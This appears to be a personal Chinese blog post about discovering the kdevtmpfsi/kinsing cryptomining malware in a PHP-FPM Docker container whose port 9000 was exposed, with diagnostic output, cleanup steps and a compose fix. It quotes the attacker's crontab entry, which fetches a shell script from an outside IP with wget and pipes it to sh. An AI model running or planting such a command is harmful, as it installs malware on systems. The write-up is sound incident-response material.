程序员一生的污点，我部署的 docker 容器中了挖矿木马 kdevtmpfsi

晚上，我在排查一台服务器上 docker 拉取镜像奇慢无比的原因。感觉有点卡，本来以为是用海外跳板机网络不好的原因，随手 top 命令看了一下。我直接跪地，泪流满面

load average: 4.06, 4.02, 4.00 (4核服务器)
%Cpu(s): 99.6
%CPU  %MEM     TIME+ COMMAND 
397.7  29.6     11,28 kdevtmpfsi

未知进程跑满了 CPU，心想坏了莫非中了传说中挖矿木马！Google 了一下，果然是！

那一刻，我顿感无颜见父老乡亲，没想到机智如我，也能中了挖矿木马。这真 TM 是程序员一生的耻辱，必将永世挂在生产环境操作不规范的耻辱柱上。。。请把耻辱两个字打在评论区。。。

木马在哪里

查看进程信息：

ps axuw | grep kdevtmpfsi
www-data  169657  393 29.5 3075800 2406624 ?     Ssl  09:24 691:15 /tmp/kdevtmpfsi

但是在宿主机的 /tmp 目录下，并没有找到这个文件。。。

systemctl status 169657
Warning: The unit file, source configuration file or drop-ins of docker-xxx.scope changed on disk. Run 'syste>● docker-xxx.scope - libcontainer container xxx
     Loaded: loaded (/run/systemd/transient/docker-xxx.scope; transient)
  Transient: yes
    Drop-In: /run/systemd/transient/docker-xxx.scope.d
             └─50-DevicePolicy.conf, 50-DeviceAllow.conf
     Active: active (running) since Fri 2024-06-14 19:49:03 UTC; 22h ago
         IO: 28.1M read, 2.9G written
      Tasks: 26 (limit: 9444)
     Memory: 4.4G (peak: 4.4G)
        CPU: 11h 46min 32.234s
     CGroup: /system.slice/docker-xxx.scope
             ├─152322 "php-fpm: master process (/usr/local/etc/php-fpm.conf)"
             ├─152387 "php-fpm: pool www"
             ├─152388 "php-fpm: pool www"
             ├─152389 "php-fpm: pool www"
             ├─152390 "php-fpm: pool www"
             ├─161379 /bin/bash
             ├─167773 /tmp/kinsing
             └─169657 /tmp/kdevtmpfsi

看来是在 docker 的 php 容器中。于是登录 php 的容器，果然找到了这个 /tmp/kdevtmpfsi 木马。

kill 掉这个进程。

删除了 kdevtmpfsi 文件，并且清空了 /tmp 目录下的所有文件。同时 find 整个磁盘，删除了所有包含此字符串的文件。我以为事情就这样结束了，没想到几分钟后，CPU 又跑满了。。。重复上面操作之后，感觉不是办法。请教 Google，原来还有一个系统计划任务在定时拉起这个进程。

最变态的是，这个计划任务是以 www-data 的身份运行的，不易察觉。

crontab -u www-data -e
* * * * * wget -q -O - http://91.241.19.134/scg.sh | sh > /dev/null 2>&1

删除这个计划任务之后。世界清静了。服务器恢复了往日的和平。

我还是不放心，把这个容器也清理了。如果不是在 docker 中中招，估计宿主机也得重装。

问题出在哪里

首先这个 php 容器镜像使用的是 docker 官方的镜像，这里应该不会有问题。
里面安装的 php 依赖也是一个几 K star 的多年开源项目，应该也不会有问题。

问题应该出在邪恶的 docker compose 配置，因为我为了图省事，采用了在宿主机开放端口的写法，没有使用 sock 文件的写法。

services:
  phpfpm:
    build: ./php8.3
    ports:
      - 9000:9000
    volumes:
      - /var/www/html:/var/www/html

而 Linode 主机，默认系统防火墙是关闭的，且没有像国内阿里云的默认网络安全组限制，所以开放了 9000 端口，估计就被扫出漏洞，黑进去了。这可是最新的 PHP 8.3 啊。。。

搞服务器真是不能偷懒。速速关闭端口，改成了 sock 形式。

phpfpm:
  build: ./php8.3
  volumes:
    - ./fpm_sock_data:/sock

世界上最好的语言

加上这次，我这辈子服务器一共被黑过 4 次。每一次服务器被黑，都是因为 PHP 。。。

虽然你是世界上最好的语言，但是我觉得我还是配不上你。。。

附上我被黑的耻辱历史

参考

https://cloud.tencent.com/developer/article/1638821
https://segmentfault.com/a/1190000042305570

关于作者 🌱

我是来自山东烟台的一名开发者，有感兴趣的话题，或者软件开发需求，欢迎加微信 zhongwei 聊聊，或者关注我的个人公众号“大象工具”，查看更多联系方式